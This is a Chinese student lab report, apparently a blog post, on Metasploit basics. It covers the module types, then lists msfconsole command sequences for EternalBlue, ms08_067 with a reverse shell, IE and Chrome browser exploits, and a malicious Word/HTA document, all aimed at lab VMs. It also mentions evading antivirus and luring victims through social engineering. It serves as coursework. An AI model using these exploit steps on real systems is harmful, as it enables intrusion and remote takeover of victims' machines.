Exp6 MSF应用基础
一、实验原理
(1)MSF简介
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
(2)程序特点
这种可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。最新版本的 MSF 包含了750多种流行的操作系统及应用软件的漏洞,以及224个 shellcode 。作为安全工具,它在安全检测中有着不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供了有力保障。
(3)七大模块
进入/usr/share/metasploit-framework/modules/exploits
即可看到7个模块,其中evasion是在msf5中更新的,信息比较少
- Exploit模块
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件,形象的说就是攻击模块。
- Payload模块
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- Encoder模块
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征。Encoder不改变payload作用,但能对payload进行加工。
- Aux模块
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
- Post模块
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- Nops模块
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置。
- evasion模块
对攻击载荷进行”免杀”处理。
(4)常用命令
- search name :用指定关键字搜索可以利用的漏洞模块
- use exploit name :使用漏洞
- show options :显示配置选项
- set TARGET target number :设置目标版本
- exploit :开始漏洞攻击
- sessions -l :列出会话
- sessions -i id :选择会话
- sessions -k id :结束会话
- Ctrl+z :把会话放到后台
- Ctrl+c :结束会话
参考链接:https://zhuanlan.zhihu.com/p/387455070
二、基础问题回答
用自己的话解释什么是exploit,payload,encode。
- exploit是载具,连接漏洞,将payload传送到靶机中。
- payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
- encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
- 原本code → 一段解码的程序 + 变换后的code (可进行迭代多次)
三、实验过程
(1)准备工作
①靶机下载
②关闭靶机防火墙
③打开445端口
④查看靶机IP地址
win7 IP:192.168.247.141
windows XP IP:192.168.247.140
(2)主动攻击实践
查看版本
msfconsole
search scanner/smb/smb_
use 7
show options
set rhosts 192.168.247.141
run
第19条攻击方式:ms17-010(win7)
查找对应利用漏洞模块
search exploit/windows/smb/
查看靶机该漏洞:nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.247.141
选择对应MSF板块,设置靶机ip地址,执行攻击:
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.247.141
exploit
测试攻击:ipconfig
第15条攻击方式:ms08_067(XP系统)
msfconsole
search ms08_067//查找该漏洞使用的攻击模块
use exploit/windows/smb/ms08_067_netapi//进入攻击模块
show payloads
set payload generic/shell_reverse_tcp //设置payload为反向tcp连接
set RHOST 192.168.247.140//设置靶机IP (winxp ip)
set LPORT 1229 //设置攻击机端口
set LHOST 192.168.247.137//设置攻击机IP (kali ip)
exploit
(3) 针对浏览器的攻击
查找对应利用漏洞模块
search exploit/windows/browser/
第117条攻击方式:ms10_018_ie_behaviors(win7)
use exploit/windows/browser/ms10_018_ie_behaviors
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.247.141
set target 0
exploit
使用win7的IE浏览器访问:
输入该网址会报错,其他网页都可以正常打开:
第50条攻击方式:chrome_filereader_uaf(win7)
use exploit/windows/browser/chrome_filereader_uaf
set payload windows/meterpreter/reverse_tcp
set URIPATH /
set LHOST 192.168.247.141
exploit
靶机端打开chrome.exe,在地址栏输入地址
(4)针对客户端的攻击
攻击方式:利用office_word_hta攻击Windows 7
寻找攻击win7针对客户端的exploit,输入search cve:2017 type:exploit fileformat platform:-win7
,选择基于word客户端攻击的exploit/windows/fileformat/office_word_hta
模块。
设置相关参数,输入以下指令:
use exploit/windows/fileformat/office_word_hta
set payload windows/meterpreter/reverse_tcp
show options
run
(可以使用cp -r "/root/.msf4/local/msf.doc" "/home/kali/Desktop/"
将文件复制到桌面再移动)
由于我win7上没用word,可以通过在浏览器上打开生成的default.hat的URL,也可获得shell,会在kali出现获得sessions的提示。打开对应的URL会显示如下图,点击Run
。其实,二者本质是一样的,打开word只不过是通过word运行了default.hta
程序。
(5)成功应用任何一个辅助模块
使用PortScan进行端口扫描
use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.247.141
exploit
四、实验总结
通过此次试验,我对MSF的了解程度进一步加深,逐渐认识到其强大、丰富的功能。同时,也认识到自己技术上的薄弱之处。总的来说,本课程的一系列实验让我受益匪浅,推动我真正去尝试一些之前只在课本上听过的高深莫测的攻击手段,也让我更熟练地使用虚拟机。此次实验需要注意的就是尽量选择版本陈旧的靶机,而且浏览器安全设置要调低,这样更容易出现实验成功效果。
离实战还缺些什么技术或步骤?
①在攻击过程中,无论是针对客户端还是浏览器,都需要被攻击者打开所需的网址和客户端,在实际攻击中这部分则需要利用社会工程学手段,诱导被攻击者打开我们想要他打开的网址和客户端,突破信息安全防御措施。
②为了使实验能够成功,我们选择的靶机版本都比较古老,也就更易于攻击,对于新的安全性更强的靶机需要进一步的探索。
③对靶机的版本漏洞的理解要求特别高,不管是系统版本还是软件的版本,如何找到靶机存在的未修复漏洞都是攻击重点。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通